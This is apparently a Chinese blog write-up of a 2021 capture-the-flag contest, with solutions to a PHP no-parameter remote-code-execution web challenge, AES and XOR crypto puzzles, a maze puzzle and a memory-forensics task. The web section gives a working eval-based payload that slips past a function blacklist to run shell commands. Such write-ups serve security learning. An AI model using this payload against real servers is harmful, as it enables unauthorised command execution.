2021长安“战疫”网络安全卫士守护赛WP

前言

这次比赛好几题都是写到半路没思路了,等赛后学一学新姿势

Web

RCE_No_Para

题目直接给了源码如下

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?> 

这道题是P神无参数RCE的魔改版。关于无参RCE,网上的教程很多,思路往往有以下几种

  • 通过特殊函数构造我们所需的字符,然后读目录以及文件
  • 在HTTP请求头中发送命令,再通过getallheaders()或session_id()等方式获取请求头的键值对进行命令执行

不过仔细观察会发现,第二个正则匹配 /session|end|next|header|dir/i 过滤了大部分关键函数,所以我们无法直接通过以上两种方式进行RCE。

在PHP中,函数get_defined_vars()能够返回由所有已定义变量所组成的数组,就像下面这样

print_r(get_defined_vars());
//输出:Array ( [_GET] => Array ( ) [_POST] => Array ( ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) ) 

get_defined_vars()能获取到超全局变量,那么我们是否能通过超全局变量传递命令呢?

eval()函数会将传入的字符串当作PHP代码执行,但是并不接受数组类型。PHP中implode()函数能够连接数组的值,就像下面这样

$a=array(1=>'a',2=>'b');
print(implode($a));
//输出:ab 

但由于 get_defined_vars() 返回的数组的每个值都是数组,所以我们可以使用reset()函数来获取第一个键值对的值,也就是$_GET的值。

print_r(get_defined_vars());
echo '<br>';
print_r(reset(get_defined_vars()));

//输出:
Array ( [_GET] => Array ( [a] => a [b] => b ) [_POST] => Array ( ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) )

Strict Standards: Only variables should be passed by reference in D:\phpstudy_pro\WWW\norce.php on line 20
Array ( [a] => a [b] => b ) 

这里会报错,但并不影响我们获取。然后再使用implode()函数拼接参数

print_r(reset(get_defined_vars()));
echo '<br>';
print(implode(reset(get_defined_vars())));
//输出:
Array ( [a] => a [b] => b )

Strict Standards: Only variables should be passed by reference in D:\phpstudy_pro\WWW\norce.php on line 22
ab 

此时我们已经可以获取到GET方式传入的字符串了,测试执行。

//传参:?a=system(whoami);
eval(implode(reset(get_defined_vars())));
//输出:
Strict Standards: Only variables should be passed by reference in D:\phpstudy_pro\WWW\norce.php on line 25
xiaoh\34946 

再回到题目,code参数传我们上面的payload,然后再GET传入命令,最终payload

?1=system('cat flag.php');&code=eval(implode(reset(get_defined_vars())));

这里注意,implode()外面的eval()函数是为了拼接命令,然后再eval执行命令。并且我们要执行的命令需要放在前面,虽然这里GET的两个参数都会执行,但由于会产生无限递归,所以我们需要让我们的命令先执行。

递归

Crypto

no_can_no_bb

题目如下

import random
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from secret import flag

assert flag[:5] ==b'cazy{'

def pad(m):
    tmp = 16-(len(m)%16)
    return m + bytes([tmp for _ in range(tmp)])

def encrypt(m,key):
    aes = AES.new(key,AES.MODE_ECB)
    return aes.encrypt(m)

if __name__ == "__main__":
    flag = pad(flag)
    key = pad(long_to_bytes(random.randrange(1,1<<20)))
    c = encrypt(flag,key)
    print(c)
# b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'

简单的AES加密,给出了填充规则,我们只需要爆破key即可,脚本如下

from Crypto.Util.number import *
from Crypto.Cipher import AES

def pad(m):
    tmp = 16-(len(m)%16)
    return m + bytes([tmp for _ in range(tmp)])

def encrypt(m,key):
    aes = AES.new(key,AES.MODE_ECB)
    return aes.encrypt(m)

def decrypt(c,key):
    aes=AES.new(key,AES.MODE_ECB)
    return aes.decrypt(c)

if __name__ == "__main__":
    cipher=b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
    for i in range(1,2**20):
        key=pad(long_to_bytes(i))
        flag=decrypt(cipher,key)
        if flag[:5]==b'cazy{':
            print(flag)
//b'cazy{n0_c4n,bb?n0p3!}\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

no_cry_no_can

题目如下

from Crypto.Util.number import*
from secret import flag,key

assert len(key) <= 5
assert flag[:5] == b'cazy{'
def can_encrypt(flag,key):
    block_len = len(flag) // len(key) + 1
    new_key = key * block_len
    return bytes([i^j for i,j in zip(flag,new_key)])

c = can_encrypt(flag,key)
print(c)

# b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'

key长度小于5,并且给出了完整密文和flag前5位。异或运算可以得到key的可能值

for i in range(5):
    key+=chr(cipher[i]^flag_5[i])
print(key.encode())
//key=b'_\x112\xffa'

这里转为二进制会变为6位,因为ÿ这个字符会被转成b'\xc3\xbf'我们手动将其改为b'\xff'即可

由于我们不知道block_len是多少,所以爆破尝试即可

from Crypto.Util.number import *

cipher=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
flag_5=b'cazy{'
key=""

# for i in range(5):
#     key+=chr(cipher[i]^flag_5[i])
# print(key.encode())
key=b'_\x112\xffa'

flag=""
key=key*6
for j in range(len(key)-3):
    flag+=chr(key[j]^cipher[j])
print(flag)

//cazy{y3_1s_a_h4nds0me_b0y!}

Misc

八卦迷宫

题目描述

一起走迷宫吧,要提交全拼音字符奥

给了一张图片

题目附件.png

只需要走出迷宫即可,解密如下

解密

复现

Misc

朴实无华的取证

查看镜像,volatility -f xp_sp3.raw imageinfo

查看进程信息,volatility -f xp_sp3.raw --profile=WinXPSP2x86 pslist

发现可疑进程,可能存在.txt或者.zip文件

搜索flag文件,volatility -f xp_sp3.raw --profile=WinXPSP2x86 filescan |grep flag

搜索.txt文件,volatility -f xp_sp3.raw --profile=WinXPSP2x86 filescan |grep .txt

dump下来查看

volatility -f xp_sp3.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000001e65028 -D ./qz

volatility -f xp_sp3.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000001b301c0 -D ./qz

volatility -f xp_sp3.raw --profile=WinXPSP2x86 dumpfiles -Q 0x00000000017ad6a8 -D ./qz

flag.png

flag.png

flag.zip

//幼儿园水平的加密(部分)
void Encrypt(string& str)
{
	for(int i = 0; i < str.length(); i++)
	{
		if(str[i] >='a'&& str[i]<='w')
			str[i]+=3;
		else if(str[i]=='x')
			str[i]='a';
		else if(str[i]=='y')
			str[i]='b';
		else if(str[i]=='z')
			str[i]='c';	
		else if(str[i]=='_')
			str[i]='|';
		str[i] -= 32;
	}
}

我的日记.txt

今天又是躺平的一天,不想学习
20211209(encrypt)
是一个不太友好的日子,但也是我们共同抗疫的开始
西安加油!

可以解密脚本

c="FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]"

def dec(cipher):
    plaintext=""
    for s in cipher:
        s=chr(ord(s)+32)
        if s>='d' and s<='z':
            plaintext+=chr(ord(s)-3)
        elif s=='a':
            plaintext+='x'
        elif s == 'b':
            plaintext+='y'
        elif s == 'c':
            plaintext+='z'
        elif s=='|':
            plaintext+='_'
        else:
            plaintext+=s
    return plaintext

print(dec(c))

无字天书

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇